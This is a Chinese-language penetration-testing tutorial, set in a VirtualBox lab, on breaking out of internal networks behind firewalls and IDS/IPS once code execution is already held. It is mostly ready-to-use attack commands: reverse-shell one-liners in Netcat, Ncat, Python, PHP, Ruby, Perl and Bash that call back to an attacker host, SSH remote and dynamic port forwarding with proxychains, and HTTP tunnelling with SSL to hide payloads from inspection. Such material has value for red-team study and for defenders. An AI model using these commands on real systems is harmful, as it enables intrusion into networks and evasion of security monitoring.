本文主要来探讨一下内网穿透方式与思路总结。在开始之前,需要先设置一个前提即已经具有目标内网中的一台主机的任意命令执行的权限,比如:webshell或者某个service的RCE漏洞。我们这里的目标是要绕过可能存在的防火墙,IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透。
实验环境的搭建:
这里我使用VirtualBox新建了一个NAT网络(10.0.2.0/24)来模拟内网以及一台Kali主机(192.168.0.230)来模拟外网主机,具体如下:
内网地址(NAT网络):10.0.2.0/24
内网出口地址(NAT出口地址):192.168.7.225
外网主机:192.168.0.230
网络拓扑如下:
现在假设我们已经拥有了MyLab网络中的Linux或者Windows的代码执行权限,我们的目标是在我们的攻击机Kali主机上成功获取到内网主机的shell。
场景与思路分析:
思路**:由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell**
方法:
nc.exe -nv 192.168.0.230 8080 -e cmd.exe
1)Netcat
nc -nv 192.168.0.230 8080 -e /bin/bash
mknod /tmp/p p && /bin/sh 0</tmp/p | nc 192.168.0.230 8080 1>/tmp/p
2)Ncat
ncat -nv 192.168.0.230 8080 -e /bin/bash
3)Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.230",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4)PHP
php -r '$sock=fsockopen("192.168.0.230",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
5)Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.230","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
6)Perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.230:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
7)Bash
bash -i >& /dev/tcp/192.168.0.230/8080 0>&1
0<&196;exec 196<>/dev/tcp/192.168.0.230/8080; sh <&196 >&196 2>&196
/bin/bash -i > /dev/tcp/192.168.0.230/8080 0<&1 2>&1
思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务
方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可
方法二:端口转发
1)在外网主机上将ssh的22端口映射到80端口
$ apt-get install rinetd
$ vim /etc/rinetd.conf
# bindadress bindport connectaddress connectport
192.168.0.230 80 192.168.0.230 22
2)内网主机上SSH远程端口转发如下
ssh [email protected] -p 80 -f -N -R 2022:127.0.0.1:22
(输入外网主机的SSH口令)
3)在外网主机上直接ssh内网主机如下
ssh -p 2022 [email protected]
(输入内网主机的SSH口令)
方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网
1)在内网主机上执行
ssh -f -N -R 2222:127.0.0.1:22 -p 80 [email protected]
(输入外网主机的SSH口令)
2)在外网主机上执行
ssh -f -N -D 127.0.0.1:8080 -p 2222 [email protected]
(输入内网主机的SSH口令)
3)在外网主机上配置proxychains设置socks4代理
$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080
4) 使用proxychains代理所有流量进入内网
proxychains nc -nv 10.0.2.5 3306
思路:由于防火墙仅允许HTTP流量出去外网,可选择的方案将会受到很大限制,但是其中一种方案是HTTP隧道技术
方法:将payload的协议封装在HTTP协议中
1)在外网主机上安装brigde (https://github.com/luizluca/bridge)
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
$ nc -lvvp 8080
2)在内网主机上安装bridge
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
$ nc -nv 127.0.0.1 8080 -e /bin/bash
一旦建立了HTTP隧道,后面的操作可以结合前2个场景中的方法。
思路:该场景比场景三更加苛刻,在场景三中我们将流量封装在HTTP协议中来Bypass检测,但是流量本身都是明文传输,所以一旦目标内网检测HTTP流量,我们还是可能被拦截,因此我们需要对场景三中的思路稍加修改,即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的,检测系统就无法发现真实的payload了。
方法:利用SSL或者SSH加密流量在结合HTTP隧道技术
1)与场景三中的方法类似,先在外网主机上安装brigde
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
2)在外网主机上开启使用了ssl加密的ncat监听进程,如下
ncat -lvvp 8080 --ssl
3)在内网主机上安装bridge
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
4)同样地,在内网主机上使用ssl与监听主机通信
ncat -nv 127.0.0.1 8080 -e /bin/bash --ssl
SSH加密端口转发流量的操作可参照场景二中的方法二和三。
思路:既然该内网主机与外网都不通,那为什么还浪费时间非要借助于这个主机来做内网穿透呢?换个思路,找个能通的内网主机在穿透出来吧。
方法:都找到了能通外网的内网主机了,那么其他场景里提到的方法应该就能解决你的问题了吧…
本文尝试从不同场景切入分析和总结,从内网限制的宽松到严苛,来逐个探讨可行的Bypass方案,算是抛砖引玉吧,更多地方法和思路会不断丰富和更新进来。